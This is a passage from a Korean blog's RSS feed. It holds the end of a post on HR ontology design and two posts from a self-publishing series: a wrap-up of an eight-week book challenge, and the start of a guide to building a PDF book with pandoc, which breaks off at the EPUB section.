emp:kim   hasSkill   skill:k8s .      ← 스키마의 hasSkill를 실제로 채운 한 줄&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 둘의 관계에서 기억할 세 가지:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;인스턴스는 스키마를 반드시 따른다.&lt;/strong&gt; 스키마에 &lt;code class=&quot;language-text&quot;&gt;hasSkill : Employee → Skill&lt;/code&gt;만 있는데 인스턴스에서 &lt;code class=&quot;language-text&quot;&gt;김개발 ─hasSkill▶ 결제프로젝트&lt;/code&gt;(Skill이 아닌 Project)를 연결하면 &lt;strong&gt;스키마 위반&lt;/strong&gt;입니다. 스키마가 합법 범위를 규정해요.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;수가 비대칭이다.&lt;/strong&gt; 스키마는 클래스 9개·관계 12개로 작고 거의 고정. 인스턴스는 직원 수백·투입 수천 건으로 계속 변합니다. → &lt;strong&gt;스키마 설계에 시간을 쓰고, 인스턴스는 자동 적재&lt;/strong&gt;하는 게 정석입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;검증 층이 다르다.&lt;/strong&gt; 바로 위에서 한 &quot;질의 8개 표현 가능?&quot;은 &lt;strong&gt;스키마 검증&lt;/strong&gt;이고, 실제 직원 데이터를 그래프에 넣고 Cypher를 돌려 답을 받아보는 건 &lt;strong&gt;인스턴스 검증&lt;/strong&gt;입니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;흐름으로 보면 &lt;strong&gt;스키마 설계(이 글의 1~4단계) → 인스턴스 적재(인사 시스템·엑셀에서 데이터 주입) → 질의&lt;/strong&gt;입니다. 이 글은 스키마까지를 다뤘고, 적재 단계는 &lt;a href=&quot;/ontology-search-03-build/&quot;&gt;기존 시리즈 3편&lt;/a&gt;에서 blog의 frontmatter를 파싱해 그래프에 인스턴스로 넣은 방식과 똑같이 — HR 도메인에서는 인사 DB·스프레드시트를 매핑해 — 채우면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;표 대신 그래프, 언제 가치가 나오나&lt;/h2&gt;
&lt;p&gt;솔직히 말하면, 직원 30명에 프로젝트 몇 개 수준이면 엑셀로도 됩니다. 그래프 온톨로지가 진짜 빛나는 건 이럴 때예요.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;N홉 질문이 일상일 때&lt;/strong&gt; — &quot;내 밑의 밑까지 K8s 가능자&quot;(Q5+Q3)처럼 관계를 여러 번 타고 들어가는 질문&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;조건 교차가 많을 때&lt;/strong&gt; — 스킬 × 가용성 × 소속 × 권한을 동시에 거는 Q1, Q8&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;이력·감사가 필요할 때&lt;/strong&gt; — 누가 언제 어떤 권한을 가졌는지 추적&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLM에게 물려줄 때&lt;/strong&gt; — 이 구조를 GraphRAG에 얹으면 &quot;결제 맡길 여유 있는 사람?&quot;을 자연어로 묻고 근거까지 답하게 만들 수 있습니다 (이건 다음 기회에 별도로 다뤄볼게요)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;반대로 단순 명단·연락처 조회만 필요하면 굳이 그래프로 갈 이유가 없습니다. &lt;strong&gt;답할 질의가 그래프를 정당화하지 못하면, 표가 정답&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. 꼭 그래프 DB(Neo4j 등)를 써야 하나요? 관계형 DB로는 안 되나요?&lt;/strong&gt;
됩니다. 위 온톨로지는 관계형 테이블로도 그대로 옮길 수 있어요(Assignment는 조인 테이블에 컬럼 추가). 다만 Q5(보고 라인 전체)처럼 &lt;strong&gt;깊이가 가변인 재귀 탐색&lt;/strong&gt;이 잦으면 그래프 DB가 압도적으로 편합니다. 재귀 CTE를 매번 짜는 게 괜찮다면 RDB로 시작해도 무방합니다. &lt;strong&gt;설계는 스택과 독립적&lt;/strong&gt;이라는 게 이 방식의 장점이에요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. 직무·직급·역할이 회사마다 다른데 이 모델이 우리 회사에도 맞나요?&lt;/strong&gt;
명칭은 바꿔도 &lt;strong&gt;세 개의 축(무슨 일 / 어느 레벨 / 이 프로젝트에서의 역할)이 다르다&lt;/strong&gt;는 원칙은 거의 모든 조직에 적용됩니다. 직급 체계가 없는 수평 조직이면 JobGrade를 빼고, 프로젝트제가 아니면 Assignment 대신 OrgUnit 소속 이력만 남기세요. 1단계 질의 리스트를 자기 회사 버전으로 다시 적는 게 먼저입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 개인정보·민감정보(급여, 평가)는 어떻게 다루나요?&lt;/strong&gt;
온톨로지 모델에는 &lt;strong&gt;관계와 식별자만&lt;/strong&gt; 두고, 급여·평가 같은 민감 속성은 접근 통제가 걸린 별도 저장소로 분리하는 걸 권합니다. 그래프에는 &quot;Employee가 SalaryRecord를 가진다&quot;는 관계만 남기고 실제 값은 권한 검증 후 조회하는 식이죠. Q7의 AccessRole 구조가 여기서도 그대로 쓰입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;인력관리 데이터를 표로만 관리하다 &quot;그 사람이 누구였더라&quot; 하며 시트를 뒤진 경험, 다들 한 번쯤 있으실 거예요. 여러분 회사에서 &lt;strong&gt;답하기 어려웠던 인사 질문 한두 개&lt;/strong&gt;를 먼저 적어보세요. 그게 곧 온톨로지 설계의 출발점입니다. 댓글로 공유해주시면 같이 모델링해볼게요.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude 책 만들기 #8 — 마무리: 책 한 권의 의미, 그리고 다음 책]]></title><description><![CDATA[Claude 책 만들기 #8 — 마무리: 책 한 권의 의미, 그리고 다음 책 "정말 한 권이 나왔네요. 제가 책을 끝낼 줄은 몰랐어요." 이 한마디를 듣자고 8주를 달려왔습니다. 안녕하세요, 자바파커입니다. 「나만의 책만들기」 8주 챌린지 마지막…]]></description><link>https://blog.javapark.kr/book-making-08-wrap-up/</link><guid isPermaLink="false">https://blog.javapark.kr/book-making-08-wrap-up/</guid><pubDate>Fri, 12 Jun 2026 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/book-making-08-wrap-up.png&quot; alt=&quot;Claude 책 만들기 #8 — 마무리: 책 한 권의 의미, 그리고 다음 책&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;정말 한 권이 나왔네요. 제가 책을 끝낼 줄은 몰랐어요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 한마디를 듣자고 8주를 달려왔습니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 「나만의 책만들기」 8주 챌린지 &lt;strong&gt;마지막 8회차&lt;/strong&gt;입니다. &lt;a href=&quot;/book-making-01-getting-started/&quot;&gt;#1 도구·폴더&lt;/a&gt;에서 시작해 &lt;a href=&quot;/book-making-02-concept/&quot;&gt;콘셉트&lt;/a&gt;·&lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;차례&lt;/a&gt;·&lt;a href=&quot;/book-making-04-collecting-materials/&quot;&gt;자료 모으기&lt;/a&gt;·&lt;a href=&quot;/book-making-05-writing-chapters/&quot;&gt;챕터 쓰기&lt;/a&gt;·&lt;a href=&quot;/book-making-06-polish-and-design/&quot;&gt;다듬기&lt;/a&gt;·&lt;a href=&quot;/book-making-07-build-and-publish/&quot;&gt;빌드와 배포&lt;/a&gt;까지 왔습니다. 오늘은 &lt;strong&gt;8주를 돌아보고, 다음으로 이어가는&lt;/strong&gt; 이야기입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;완벽한 책이 아니라, 끝낸 책이 이깁니다.&lt;/strong&gt; 그리고 한 가지 더 — 이 책의 가장 강력한 무기는 화려한 내용이 아니라, &lt;strong&gt;&quot;한 사람이 8주 동안 어떻게 책을 만들었는가&quot;를 그대로 보여준 것&lt;/strong&gt;입니다. 과정 자체가 가장 설득력 있는 콘텐츠였습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8주를 돌아보며 — 무엇이 책을 끝내게 했나&lt;/h2&gt;
&lt;p&gt;혼자 쓰는 책의 대부분은 미완으로 끝납니다. 이 책이 끝까지 온 이유를 돌아보면 네 가지였습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;마감&lt;/strong&gt; — &quot;매주 일요일 발행&quot;이라는 외부 약속이 매주 한 챕터를 강제로 닫게 했습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;공개&lt;/strong&gt; — 서랍이 아니라 세상에 내보냈기에, 완벽주의에 빠질 틈이 없었습니다(&lt;a href=&quot;/book-making-05-writing-chapters/&quot;&gt;#5&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;outline&lt;/strong&gt; — &lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;#3의 차례&lt;/a&gt;가 매주 &quot;오늘 뭘 쓸지&quot;를 미리 정해줬습니다. 빈 화면 앞에서 헤맨 적이 없습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;모으기&lt;/strong&gt; — &lt;a href=&quot;/book-making-04-collecting-materials/&quot;&gt;#4&lt;/a&gt;에서 흩어진 글을 재료로 모은 덕에, 늘 반쯤 찬 화면에서 시작했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;핵심: 책을 끝내는 건 재능이 아니라 &lt;strong&gt;구조&lt;/strong&gt;입니다. 마감·공개·차례·자료 — 이 네 가지 구조가 의지를 대신해 줍니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;이 책의 비밀 무기 — 메타 부록&lt;/h2&gt;
&lt;p&gt;이 책에는 다른 책에 없는 부록이 하나 있습니다. &lt;strong&gt;&quot;당신이 지금 읽은 이 책이, 어떻게 만들어졌는가.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;8주 동안 발행한 블로그 글, 그 주의 작업 일지, 실제로 쓴 명령어와 표지 템플릿 — 이 모든 제작 과정을 책 마지막에 그대로 싣습니다. 왜냐고요? &lt;strong&gt;&quot;나도 만들 수 있겠다&quot;는 확신은, 완성품이 아니라 과정에서 오기 때문&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;부록 A&lt;/strong&gt; — pandoc 빌드 명령·템플릿 (&lt;a href=&quot;/book-making-07-build-and-publish/&quot;&gt;#7&lt;/a&gt;에서 쓴 그대로)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;부록 B&lt;/strong&gt; — 표지 HTML 템플릿 (&lt;a href=&quot;/book-making-06-polish-and-design/&quot;&gt;#6&lt;/a&gt;의 표지 원본)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;부록 C&lt;/strong&gt; — 자료 미러 스크립트 (&lt;a href=&quot;/book-making-04-collecting-materials/&quot;&gt;#4&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;부록 D&lt;/strong&gt; — 8주 발행 일정 + 발행한 블로그 글 링크 모음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;부록 E&lt;/strong&gt; — 8일 스프린트 모드 체크리스트 (아래)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 책은 &lt;strong&gt;자기 자신을 설명서로 쓰는 책&lt;/strong&gt;입니다. 메타 구조 자체가 가장 강력한 설득 도구입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8주가 길다면 — 8일 스프린트 모드&lt;/h2&gt;
&lt;p&gt;&quot;8주는 너무 길어요. 한 번에 끝내고 싶어요.&quot; 그런 분을 위한 변형입니다. &lt;strong&gt;매일 1챕터 × 8일.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;8주 빌드 인 퍼블릭&lt;/th&gt;
&lt;th&gt;8일 스프린트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;얻는 것&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;독자 피드백, SEO 누적, 사고 숙성&lt;/td&gt;
&lt;td&gt;즉각적 결과물, 단기 몰입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;잃는 것&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;시간(8주)&lt;/td&gt;
&lt;td&gt;피드백 루프, 검색 노출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;누구에게&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;꾸준히 쌓고 싶은 사람&lt;/td&gt;
&lt;td&gt;휴가·연차 등 한 주가 비는 사람&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;성격&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&quot;공개 작업기&quot;&lt;/td&gt;
&lt;td&gt;&quot;개인 스프린트&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;스프린트의 핵심은 &lt;strong&gt;피드백을 포기하는 대신 추진력을 얻는&lt;/strong&gt; 것입니다. 같은 7단계(콘셉트→차례→모으기→쓰기→다듬기→빌드→마무리)를 하루 단위로 압축합니다. 블로그 동시 연재는 선택이고요. 자세한 일정·체크리스트는 &lt;strong&gt;부록 E&lt;/strong&gt;에 담았습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;둘 중 정답은 없습니다. &lt;strong&gt;끝내기만 하면&lt;/strong&gt; 둘 다 이깁니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;끝낸 뒤 할 일 — 초고에서 진짜 책으로&lt;/h2&gt;
&lt;p&gt;8주(또는 8일) 연재가 끝났다면, 마지막 한 바퀴가 남았습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;reworked/&lt;/code&gt; 한 번 더 다듬기&lt;/strong&gt; — 연재본의 시의성·중복을 걷어냅니다(&lt;a href=&quot;/book-making-05-writing-chapters/&quot;&gt;#5&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;chapters/&lt;/code&gt;로 승격&lt;/strong&gt; — 정제된 챕터를 번호 순으로 확정(&lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;#3 outline&lt;/a&gt; 기준).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pandoc 빌드&lt;/strong&gt; — 한 권의 PDF/EPUB으로(&lt;a href=&quot;/book-making-07-build-and-publish/&quot;&gt;#7&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;무료 배포&lt;/strong&gt; — 다운로드 링크 하나로 출간.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이 책 「나만의 책만들기」도 지금 이 단계로 들어갑니다. 그리고 — &lt;strong&gt;그 결과물을 지금 바로 받으실 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;📘 &lt;strong&gt;「나만의 책만들기」 무료 PDF 받기 (v0.1)&lt;/strong&gt; → &lt;a href=&quot;/book-making.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;book-making.pdf 다운로드&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1장(시작 전 준비)부터 8장(마무리)까지 8개 챕터를 한 권으로 묶은 첫 버전입니다. 머리말과 부록(pandoc 빌드 명령·표지 템플릿·미러 스크립트·발행 일정·8일 스프린트 체크리스트)은 다음 버전에서 더해집니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;다음 책으로 — 한 권을 끝낸 사람만 아는 것&lt;/h2&gt;
&lt;p&gt;첫 책을 끝내면 두 가지를 얻습니다. 하나는 &lt;strong&gt;결과물(책)&lt;/strong&gt;, 다른 하나는 &lt;strong&gt;&quot;나는 책을 끝내는 사람&quot;이라는 정체성&lt;/strong&gt;입니다. 후자가 훨씬 큽니다.&lt;/p&gt;
&lt;p&gt;두 번째 책은 첫 책보다 훨씬 빠릅니다. 폴더 구조도, 표지 틀도, 빌드 명령도 이미 손에 있으니까요. &lt;strong&gt;이 8주가 당신의 &quot;출판 파이프라인&quot;을 만든 셈&lt;/strong&gt;입니다. 다음 주제는 이미 머릿속에 떠올랐을지도 모릅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 1 — 회고 5줄 쓰기&lt;/h2&gt;
&lt;p&gt;8주(또는 지금까지)를 돌아보며 다섯 줄만 적어보세요.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;가장 어려웠던 한 주는?&lt;/li&gt;
&lt;li&gt;가장 도움이 된 도구·습관은?&lt;/li&gt;
&lt;li&gt;다시 한다면 바꿀 것 하나는?&lt;/li&gt;
&lt;li&gt;끝까지 오게 한 동력은?&lt;/li&gt;
&lt;li&gt;다음 책 주제 후보는?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 회고가 곧 &lt;strong&gt;메타 부록의 첫 페이지&lt;/strong&gt;가 됩니다.&lt;/p&gt;
&lt;h2&gt;실습 2 — 메타 부록 한 페이지 시작하기&lt;/h2&gt;
&lt;p&gt;발행한(또는 쓴) 글들의 &lt;strong&gt;제목 + 날짜 + 링크&lt;/strong&gt;를 시간순으로 한 페이지에 모으세요. 그게 부록 D의 씨앗이고, &lt;strong&gt;&quot;내가 이걸 진짜 해냈다&quot;는 증거&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 8주를 다 못 채웠어요. 실패인가요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;아닙니다.&lt;/strong&gt; 5장만 써도 5장짜리 책입니다. 챕터 수는 &lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;#3&lt;/a&gt;에서 말했듯 시간에 맞추는 변수일 뿐입니다. &lt;strong&gt;끝맺음(빌드·배포)을 했느냐&lt;/strong&gt;가 완성의 기준입니다.&lt;/p&gt;
&lt;h3&gt;Q2. 메타 부록이 꼭 필요한가요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;강력 추천하지만 필수는 아닙니다.&lt;/strong&gt; 다만 &quot;나도 할 수 있다&quot;는 메시지를 주는 책이라면, 과정 공개가 가장 큰 차별점이 됩니다. 적어도 발행 글 링크 모음(부록 D)만이라도 남기세요.&lt;/p&gt;
&lt;h3&gt;Q3. 8일 스프린트가 8주보다 결과물이 나쁜가요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;다릅니다, 나쁘지 않습니다.&lt;/strong&gt; 피드백·SEO 누적은 적지만 몰입도와 완성 속도는 높습니다. 한 주가 통째로 비는 시기엔 스프린트가 오히려 완주율이 높습니다.&lt;/p&gt;
&lt;h3&gt;Q4. 책을 다 만들고 나면 이 블로그 시리즈는 어떻게 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;책의 부록 D로 박제됩니다.&lt;/strong&gt; 8편의 연재 글이 곧 책의 &quot;제작 일지&quot;가 되고, 그 자체로 이 책을 만든 과정의 영구 기록이 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 8주를 함께해 주셔서 감사합니다&lt;/h2&gt;
&lt;p&gt;오늘 두 가지만 하시면 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;회고 5줄&lt;/strong&gt; 적기 (위 5개 질문)&lt;/li&gt;
&lt;li&gt;✅ 발행/작성한 글을 모은 &lt;strong&gt;메타 부록 한 페이지&lt;/strong&gt; 시작하기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;8주 전, 「나만의 책만들기」는 빈 폴더 하나였습니다. 지금은 차례가 있고, 챕터가 있고, 표지가 있고, &lt;strong&gt;다운로드 링크까지 생겼습니다.&lt;/strong&gt; &lt;strong&gt;완벽해서가 아니라, 끝까지 와서&lt;/strong&gt; 책이 되었습니다.&lt;/p&gt;
&lt;p&gt;여러분의 책은 지금 어디쯤 와 있나요? 한 줄이라도 시작하셨다면, 이미 절반은 오신 겁니다. &lt;strong&gt;완성된 「나만의 책만들기」 PDF(v0.1)는 지금 이 블로그에서 무료로 받으실 수 있습니다 — &lt;a href=&quot;/book-making.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기서 다운로드&lt;/a&gt;.&lt;/strong&gt; 그리고 — 다음 책에서 또 뵙겠으면 좋겠습니다.&lt;/p&gt;
&lt;p&gt;8주 동안 함께 읽어주셔서 진심으로 감사했습니다. 당신의 첫 책을 응원합니다.&lt;/p&gt;
&lt;p&gt;자바파커였습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude 책 만들기 #7 — 빌드와 배포: pandoc부터 무료 PDF까지]]></title><description><![CDATA[Claude 책 만들기 #7 — 빌드와 배포: pandoc부터 무료 PDF까지 "마크다운 파일은 잔뜩 쌓였는데, 이걸 어떻게 '한 권'으로 묶죠?" 다듬기까지 끝낸 분들이 마지막에 마주하는 벽입니다. 안녕하세요, 자바파커입니다. 「나만의 책만들기」…]]></description><link>https://blog.javapark.kr/book-making-07-build-and-publish/</link><guid isPermaLink="false">https://blog.javapark.kr/book-making-07-build-and-publish/</guid><pubDate>Fri, 12 Jun 2026 22:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/book-making-07-build-and-publish.png&quot; alt=&quot;Claude 책 만들기 #7 — 빌드와 배포: pandoc부터 무료 PDF까지&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;마크다운 파일은 잔뜩 쌓였는데, 이걸 어떻게 &apos;한 권&apos;으로 묶죠?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;다듬기까지 끝낸 분들이 마지막에 마주하는 벽입니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 「나만의 책만들기」 8주 챌린지 &lt;strong&gt;7회차&lt;/strong&gt;입니다. &lt;a href=&quot;/book-making-06-polish-and-design/&quot;&gt;#6에서 문체를 맞추고 표지를 입혔다면&lt;/a&gt;, 이제 &lt;strong&gt;흩어진 챕터 파일을 한 권으로 묶어 세상에 내보낼&lt;/strong&gt; 차례입니다. 가장 &quot;기술적으로 들리는&quot; 단계지만, 사실은 &lt;strong&gt;명령어 한 줄&lt;/strong&gt;이면 끝납니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;마크다운 파일들 → &lt;code class=&quot;language-text&quot;&gt;pandoc&lt;/code&gt; 한 줄 → PDF 한 권.&lt;/strong&gt; 여러분이 &lt;a href=&quot;/book-making-01-getting-started/&quot;&gt;#1~#6&lt;/a&gt;에 걸쳐 마크다운으로 써온 이유가 바로 오늘을 위해서였습니다. 별도 편집 프로그램 없이, 무료로, 몇 번이고 다시 찍어낼 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 pandoc인가&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pandoc&lt;/code&gt;은 &lt;strong&gt;문서 형식을 서로 바꿔주는 무료 도구&lt;/strong&gt;입니다. 마크다운을 넣으면 PDF·EPUB·워드·HTML로 뽑아줍니다. 책 만들기에 좋은 이유는 셋입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;마크다운 그대로&lt;/strong&gt; — 지금까지 쓴 &lt;code class=&quot;language-text&quot;&gt;.md&lt;/code&gt; 파일을 그대로 입력. 다시 옮겨 적을 필요가 없습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;무료·재현 가능&lt;/strong&gt; — 명령 한 줄. 오타를 고치고 다시 돌리면 새 PDF가 즉시 나옵니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;한 소스, 여러 포맷&lt;/strong&gt; — 같은 원고로 PDF(읽기용)와 EPUB(전자책 단말용)을 동시에.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;핵심: 마크다운으로 써왔다는 건, 이미 **&quot;빌드 가능한 원고&quot;**를 갖고 있다는 뜻입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;1. 원고를 순서대로 모으기&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;chapters/&lt;/code&gt; 폴더의 파일을 &lt;strong&gt;outline 순서대로&lt;/strong&gt; 나열하는 게 먼저입니다. &lt;a href=&quot;/book-making-03-table-of-contents/&quot;&gt;#3에서 만든 outline&lt;/a&gt;이 여기서 다시 &quot;순서의 진실&quot;이 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 챕터 파일명을 번호로 시작하게 두면 정렬이 곧 책 순서가 된다&lt;/span&gt;
chapters/
├── 00-preface.md
├── 01-getting-started.md
├── 02-concept.md
└── &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;파일명 앞 번호(&lt;code class=&quot;language-text&quot;&gt;00-&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;01-&lt;/code&gt;)가 곧 책의 장 순서입니다. 정렬만 맞으면 결합은 pandoc이 알아서 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. pandoc으로 PDF 만들기&lt;/h2&gt;
&lt;p&gt;가장 기본 명령은 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pandoc chapters/*.md &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; build/book.pdf &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--toc&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;                      &lt;span class=&quot;token comment&quot;&gt;# 목차 자동 생성&lt;/span&gt;
  --pdf-engine&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;xelatex &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;       &lt;span class=&quot;token comment&quot;&gt;# 한글 지원 엔진&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-V&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;mainfont&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Pretendard&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# 본문 한글 폰트&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-V&lt;/span&gt; geometry:margin&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;.5cm     &lt;span class=&quot;token comment&quot;&gt;# 여백&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;--toc&lt;/code&gt;가 목차를, &lt;code class=&quot;language-text&quot;&gt;xelatex&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;mainfont&lt;/code&gt;가 &lt;strong&gt;한글을 안 깨지게&lt;/strong&gt; 처리합니다. 표지 이미지·페이지 번호·장 제목 스타일은 옵션과 템플릿으로 더 붙일 수 있는데, &lt;strong&gt;이 책에서 실제로 쓴 전체 빌드 명령과 템플릿은 부록 A&lt;/strong&gt;에 그대로 싣습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ 가장 흔한 사고: &lt;strong&gt;한글이 □□□로 깨짐.&lt;/strong&gt; 거의 항상 &lt;code class=&quot;language-text&quot;&gt;--pdf-engine=xelatex&lt;/code&gt;를 안 줬거나, 시스템에 없는 폰트를 지정한 경우입니다. 설치된 한글 폰트 이름을 정확히 쓰세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;3. EPUB도 한 줄 (선택)&lt;/h2&gt;
&lt;p&gt;전자책 단말기·앱에서 읽히게 하려면 EPUB도 만들어 둡니다.&lt;/p&gt;
